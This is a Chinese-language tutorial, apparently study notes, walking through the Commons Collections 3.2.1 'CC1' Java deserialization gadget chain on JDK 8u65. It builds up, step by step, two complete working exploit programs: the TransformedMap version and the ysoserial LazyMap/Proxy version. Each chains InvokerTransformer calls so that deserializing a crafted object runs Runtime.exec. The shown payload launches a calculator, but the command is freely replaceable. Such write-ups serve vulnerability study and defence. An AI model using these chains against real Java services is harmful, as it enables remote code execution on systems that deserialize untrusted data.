CC1
参考视频 : Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
手动分析
前期准备
jdk
这里的jdk选择java8u71
以下,因为在java8u71
该漏洞被修复了,选择的是java8u65
( 和视频中的博主一样 )
组件
这里使用的是commons-collections3.2.1
,可以使用maven也可以自行下载手动导入
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
源码
在最后的调试阶段需要能够读取sun源码,源码可以通过OpenJDK(https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip)中下载
- 先将原先jdk目录下的src压缩包解压
- 打开下载的文件,将
src/share/classes
下的sun
拖到该目录下
3. 打开IDEA
导入成功后就可以查看源码了
类分析
漏洞发现 : commons-collections.jar
根路径下的Transformer
类
具体功能是传入一个对象,会调用该对象的transform
方法
通过ctrl+alt+鼠标左键
就能查看实现类
这些都是它的实现类
InvokerTransformer
先查看构造函数
其中的iMethodName
、iParamTypes
都是可控的( 在创建该类传入即可 )知道这里可控后,可以尝试执行命令
再查看它的transform
方法
- 通过传入任意一个对象,获取其对应的class类
- 通过反射获取其方法
- 最后通过invoke执行方法
明白流程后就可以尝试构造
package cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;public class cc1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { // 通过反射调用exec执行命令 Runtime r = Runtime.getRuntime(); Class<? extends Runtime> aClass = r.getClass(); Object invoke = aClass.getMethod("getRuntime"); aClass.getMethod("exec", String.class).invoke(invoke, "calc"); Runtime transfromR = Runtime.getRuntime(); // 这是通过传入Runtime类对象,通过反射获取其exec方法,传入calc参数,导致弹出计算器 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(transfromR); }
}
通过new InvokerTransformer()
传入三个参数后调用了对应的transfrom()
方法,这三个参数分别为 方法名、参数类型(数组)、值(数组),transfrom
接收了一个对象,而new InvokerTransformer()
传递的三个参数就是通过后者提供的类对象来进行调用(反射调用)
当我们了解了这些后,就知道该类的transfrom
方法是一个危险方法 [InvokerTransformer.transfrom()
],接下来就需要查看谁的里面调用了transfrom
方法
这里可以通过右键transfrom()
查看哪些调用了(目的就是查看到不同名字可以调用该方法,就可以继续往下走)
但是默认的搜索只会在项目中查找,不会去Lib中查找,需要进行修改默认配置
TransformeMap
通过搜索可以看到在TransformeMap
中trasnform
被调用了很多次,查看该类的构造函数
TransformedMap
类的构造函数是一个protected
类型,只允许同一个包内的类或子类调用,它会传入一个map对象,之后会传入两个Transformer对象,一个是key,另一个是value,分别对这key和value进行操作
通过该类中的decorate
方法可成功获取该类的实例对象,而传入的valueTransformer
对象则会在下方的checkSetVallue
中实现调用transform
那么想要实现传递进来的Transformer对象调用trasnform方法,继续跟进查看
AbstractInputCheckedMapDecorator
发现在AbstractInputCheckedMapDecorator
类中存在一个setValue
方成功调用了checkSetVallue
,而这个类还是TrasnformedMap
的父类
查看AbstractInputCheckedMapDecorator
类,发现setValue
是在一个MapEntry
中实现
而这个MapEntry
的setValue
方法常用于更新Map
中键值对中的值(遍历更新等场景)此时就可以做一些简单的构造
package cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class cc1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { Runtime transfromR = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> testMap = new HashMap<>(); testMap.put("key", "value"); Map<Object, Object> decorate = TransformedMap.decorate(testMap, null, invokerTransformer); // 传入map对象,第一个参数不需要,第二个参数会执行transform方法,传入上面定义的Transformer对象 for (Map.Entry entry: decorate.entrySet()) { entry.setValue(transfromR); } }
}
如果有一个遍历数组的地方并且调用了setValue
方法那么就可以成功利用
AnnotationInvocationHandler
再次追踪发现了在readObject
中使用map遍历并调用了setValue
查看其构造函数
这个构造函数没有提供public,只允许同一个包内调用可以使用反射,接收两个参数,第一个参数是class类对象(继承了Annotation
注解的对象),第二个是map对象(这个可控)
通过readObject()
方法执行map遍历,最终调用setValue
方法,这里无法通过常规手段获取该类的对象,只能通过反射获取
package cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class cc1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException { Runtime transfromR = Runtime.getRuntime(); // 由于getRuntime获取的是new对象,无法进行序列化,需要获取其class对象 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // 获取执行函数 HashMap<Object, Object> testMap = new HashMap<>(); // 新建一个map testMap.put("key", "value"); // 添加数据随便填 Map<Object, Object> decorate = TransformedMap.decorate(testMap, null, invokerTransformer); // 传入map对象,第一个参数不需要,第二个参数会执行transform方法,传入上面定一个Transformer对象 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 对象通过反射获取其class对象 Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法 declaredConstructor.setAccessible(true); // 关闭java安全检测 Object o = declaredConstructor.newInstance(Override.class, decorate); // 初始化该对象 serialize(o, "cc1.ser"); // 序列化该对象 deserialize("cc1.ser"); // 反序列化该对象,由于该对象执行readObject()方法,会遍历map,setValue执行,导致checkSetValue执行,最终调用invokerTransformer.transform执行
}
但是在执行后发现还是利用失败,尝试Debug查看问题存在(尝试在数组遍历处打断点)
这里存在的问题是memberType
为空,if判断为假,而通过前面的代码可以大概猜测出 for循环遍历map,获取的变量通过getKey()
获取它的键值对中的键,而memberTypes
通过查看上下文得出它是成功获取了注解类型的Annotation Type
实例,之后调用memberTypes()
方法,以成功获取注解的成员名称和对应的成员类型将其存储在memberTypes
中,接着通过memberTypes.get()
查找这个键是否存在
Object o = declaredConstructor.newInstance(Override.class, decorate); // 初始化该对象
由于上述在实例化时传递的是Override.class
该类中啥都没有,但是49、50行存在两个,可以进入查看
这里可以通过传递其他的注释类来绕过这个限制
package cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class cc1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException { Runtime transfromR = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> testMap = new HashMap<>(); testMap.put("value", "value"); // 由于它是通过kay来判断,所以要填一个存在的key Map<Object, Object> decorate = TransformedMap.decorate(testMap, null, invokerTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, decorate); // 这里可以传入Target.class,它存在一个value方法 serialize(o, "cc1.ser"); deserialize("cc1.ser");
}
看似逻辑正确的,但实际上还存在很多问题,当运行时还会报错
很显然传入的class类对象不支持exec方法,或者说传入的不是一个java.lang.Runtime
而是一个java.lang.String
通过断点查看也可以看出
小结
当然这里的问题可以稍微总结一下
1. Runtime对象是通过Runtime.getRuntime获取的,无法进行序列化操作(没有继承Serializable)
- setValue()中需要传入的是Runtime对象,但是这里使用的是 new AnnotationInvocationHandler()
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));这里setValue函数的参数使用的new AnnotationTypeMismatchExceptionProxy()传入,最终进入到checkSetValue后使用的value是new AnnotationTypeMismatchExceptionProxy(),不是我们想要的,得改成Runtime.class类型,但是如果查看过断点后发现无法控制的,但是可以通过另一个类new ConstantTransformer(),它不论传入什么输入都会按照内部的值进行返回
在readObject()函数中,存在很多if条件
if (memberType != null)
memberValue.getKey() 获取它的键值对的键
memberTypes.get()中查找这个键是否存在
memberType 查找不到所以调用失败所以必须找一个有成员方法的class,同时数组的key还要改成它(注解对象)的成员方法名字
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
判断数据是否能够强转,这里如果第一个if进入了那么这里也肯定本能强转
ConstantTransformer
要想突破new AnnotationInvocationHandler()
可以通过该给类传入Runtime.class
,通过transform
方法将该值返回( 即该点是可控的 )
理解这一点后就可以开始构造
Class<Runtime> aClass = Runtime.class;
Method getRuntime = aClass.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null);
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(r, "calc");
这是正常的反射代理,但是得转换成Transformer
可识别类型,通过一开始的InvokerTransformer
的transform
方法实现
Object constant = new ConstantTransformer(Runtime.class).transform(Runtime.class);
Method getMethods = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(constant);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethods);
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
虽然转成了Transformer
可是别,但是始终无法控制setValue
的参数
Debug查看后发现始终不是想要的Runtime类型,这时还需要再次调用另一个类 ChainedTransformer
ChainedTransformer
可以看到它需要一个Transformer[]
接收
而它的主要功能就是通过调用transform()
循环实现数组中对象的transform方法,此时问题才算解决完成
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过递归调用transform方法
首先就是传入new AnnotationInvocationHandler()
对象,通过调用ConstantTransformer
的transform
方法成功返回了java.lang.Runtime
之后就是正常的通过InvokerTransformer
的transform
来调用,最终实现命令执行
链路整理
-
因为最终是通过调用目标的
readObject()
从而触发一系列反应,最终执行InvokerTransformer.transform()
,就需要进行序列化操作和反序列化操作,所以这些操作都需要支持序列化操作,而Runtime.getRuntime()
很显然不支持序列化操作,需要进行反射获取,而反射又必须得是InvokerTransformer.transform()
所支持的 ( 最终的触发点在这里 ) -
创建所需要的类对象
- 由于无法控制
setValue()
的参数,所以需要借助一个类CostantTransform
,通过使用它的transform
方法,不论传递谁,都会输出,这里我们想要的是Runtime.class
,通过将Runtime.class
传递给该类,从而获得它本身 - 如果使用的是常规想法,即先通过
new CostantTransform()
的transform
返回java.lang.Runtime
之后在通过InvokerTransform
调用transform
前者返回类,正常思路看着是可行的,但是setValue()
会强制使用new AnnotationInvocationHandler()
它的transform
方法,之后就会抛出异常(因为传递的是new CostantTransform()
它并没有exec
这个方法) - 所以这里还需要借助另一个类
ChainedTransformer
,它需要传入一个数组,它会将数组中前者的输出当做后者的输入,也就是这里无需在考虑setValue()
的参数,而考虑只需要控制第一个输出的结果是java.lang.Runtime
即可,由此,便构成以下代码
- 由于无法控制
Transformer[] transformers = { new ConstantTransformer(Runtime.class), // 调用该类的transform方法返回该类本身 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; // 将上述序列化操作转为transformer支持的
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过循环调用
- 变量创建完成后,需要有一个地方能够调用
ChainedTransformer
的transform()
,在TransformedMap
类中存在一个checkSetValue()
,它会调用valueTransformer.transform(value)
而TransformedMap.decorate()
会返回一个new TransformedMap(map, keyTransformer, valueTransformer)
,其中可以控制第三个参数传入我们自定义的ChainedTransformer
类型,代码如下
HashMap<Object, Object> testMap = new HashMap<>(); // 新建一个map
testMap.put("value", "value"); // 添加数据
Map<Object, Object> decorate = TransformedMap.decorate(testMap, null, chainedTransformer) // 相当于 new TransformedMap(testMap, null, chainedTransformer)
-
那么,这里的
valueTransformer
是在通过TransformedMap.decorate(testMap, null, chainedTransformer)
的第三个参数进行传递,也就是chainedTransformer
赋值给valueTransformer
,而chainedTransformer
中存放的就是一些实例操作,通过它来执行transform()
就等于执行chainedTransformer
数组中每个元素的transform()
-
那么现在考虑如何在哪里调用了
checkSetValue()
,通过查找发现在AbstractInputCheckedMapDecorator
类中的setValue()
调用了checkSetValue
,通过查看其类构造,发现是一个Map数组 -
通过查找会发现
AnnotationInvocationHandler
类中存在一个方法readObject()
,这个MapEntry
的setValue
方法常用于更新Map
中键值对中的值(遍历更新等场景),这里需要注释的是该类的构造函数没有任何修饰符,只允许在同一包内调用,所以得通过反射获取该类的构造函数 -
现在就考虑有一个地方能够遍历数组并且执行
setValue
,继续查找,发现AnnotationInvocationHandler
中存在的readObject
方法中存在遍历数组并且执行setValue
的方法,而其中的判断条件只是注释类中的方法是否存在,代码如下
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 对象通过反射获取其class对象
Constructor<?> declaredConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法
declaredConstructor.setAccessible(true); // 关闭java安全检测
Object o = declaredConstructor.newInstance(Target.class, decorate); // 初始化该对象
- 由于
readObject()
是通过反序列化操作的,所以需要构造两个能够执行序列化和反序列化的函数
public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); ois.close(); return o; }
public static void serialize(Object obj, String filename) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename)); oos.writeObject(obj); oos.close(); }
最终代码
package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class cc1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; // 将上诉序列化操作转为transformer支持的 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过递归调用 HashMap<Object, Object> testMap = new HashMap<>(); // 新建一个map testMap.put("value", "value"); // 添加数据 Map<Object, Object> decorate = TransformedMap.decorate(testMap, null, chainedTransformer); // 传入map对象,第一个参数不需要,第二个参数会执行transform方法,传入上面定一个Transformer对象 Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 对象通过反射获取其class对象 Constructor<?> declaredConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法 declaredConstructor.setAccessible(true); // 关闭java安全检测 Object o = declaredConstructor.newInstance(Target.class, decorate); // 初始化该对象 serialize(o, "cc1.ser"); // 序列化该对象 deserialize("cc1.ser"); // 反序列化该对象,由于该对象执行readObject()方法,会遍历map,setValue执行,导致checkSetValue执行,最终调用invokerTransformer.transform执行 } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); ois.close(); return o; } public static void serialize(Object obj, String filename) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename)); oos.writeObject(obj); oos.close(); }
}
ysoserial-cc1分析
前面的大部分相同,核心不同就是在
手动分析的是TransformedMap
类,而ysoserial中的cc1使用的是LazyMap
类分析
LazyMap
在LazyMap中存在一个get方法,它会调用这个actory.transform()
方法,而这个factory是可控的
查看哪里调用了get方法(这里因为太多不好找,查看源码发现是通过去AnnotationInvocationHandler
中调用了get)
发现在invoke中调用了get方法(有5个地方同样调用了,但是无法控制)这里的memberValues可以控制
而这里的invoke方法可以通过创建动态代理执行任意函数来自动执行invoke函数
那么这里需要一个动态代理,这个动态代理需要调用AnnotationInvocationHandler
的处理器类,调用它的某一个方法就会执行incoke,而最外层需要一个接收一个接口的,这个接口可以使用Map
这时需要确定的是调用什么方法,
这里也说明了不允许调用equals
方法,还不能调用一个有参方法
这里在readObject方法中会调用这个entrySet()
方法,而memberValues是一个Map类型,将上面创建的动态代理类传递给AnnotationInvocationHandler
这样就会让这个动态代理类执行这个entrySet()
,那么就会触发这个invoke()
方法,从而触发LazyMap.get()
方法
最终代码
package ccTest;
import jdk.nashorn.internal.ir.CallNode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class cc1_ysoserial {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; // 将上诉序列化操作转为transformer支持的 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过递归调用 HashMap<Object, Object> testMap = new HashMap<>(); // 新建一个map Map<Object, Object> decorate = LazyMap.decorate(testMap, chainedTransformer); Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 对象通过反射获取其class对象 Constructor<?> declaredConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法 declaredConstructor.setAccessible(true); // 关闭java安全检测 InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate); // 初始化该对象 Map map = (Map) Proxy.newProxyInstance(handlerClass.getClassLoader(), new Class[]{Map.class}, handler); Object o = declaredConstructor.newInstance(Override.class, map); serialize(o, "cc1.ser"); // 序列化该对象 deserialize("cc1.ser"); // 反序列化该对象,由于该对象执行readObject()方法,会遍历map,setValue执行,导致checkSetValue执行,最终调用invokerTransformer.transform执行 } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); ois.close(); return o; } public static void serialize(Object obj, String filename) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename)); oos.writeObject(obj); oos.close(); }
}